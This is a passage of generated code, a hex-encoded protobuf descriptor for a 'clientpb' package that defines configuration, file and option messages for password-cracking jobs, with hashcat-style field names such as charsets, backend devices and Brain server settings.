0x65, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, + 0x66, 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, + 0x46, 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x69, 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, + 0x6d, 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, + 0x2b, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, + 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, + 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, + 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, + 0x12, 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, + 0x65, 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, + 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, + 0x0a, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, + 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, + 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, + 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, + 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, + 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, + 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, + 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, + 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, + 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, + 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, + 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, + 0x0d, 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, + 0x0a, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, + 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, + 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, + 0x41, 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, + 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, + 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, + 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, + 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, + 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, + 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, + 0x28, 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, + 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, + 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, + 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, + 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, + 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, + 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, + 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, + 0x4b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, + 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, + 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, + 0x4c, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, + 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, + 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, + 0x41, 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, + 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, + 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, + 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, + 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, + 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, + 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, + 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, + 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, + 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, + 0x72, 0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, + 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, + 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, + 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, + 0x18, 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, + 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, + 0x69, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, + 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, + 0x65, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, + 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, + 0x6e, 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, + 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, + 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, + 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, + 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, + 0x5f, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, + 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, + 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, + 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, + 0x74, 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, + 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, + 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, + 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, + 0x74, 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, + 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, + 0x74, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, + 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, + 0x69, 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, + 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, + 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, + 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, + 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, + 0x65, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, + 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, + 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, + 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, + 0x75, 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, + 0x74, 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, + 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, + 0x6e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, + 0x12, 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, + 0x64, 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, + 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, + 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, + 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, + 0x69, 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, + 0x22, 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, + 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, + 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, + 0x22, 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, + 0x29, 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, + 0x69, 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, + 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, + 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, + 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, + 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 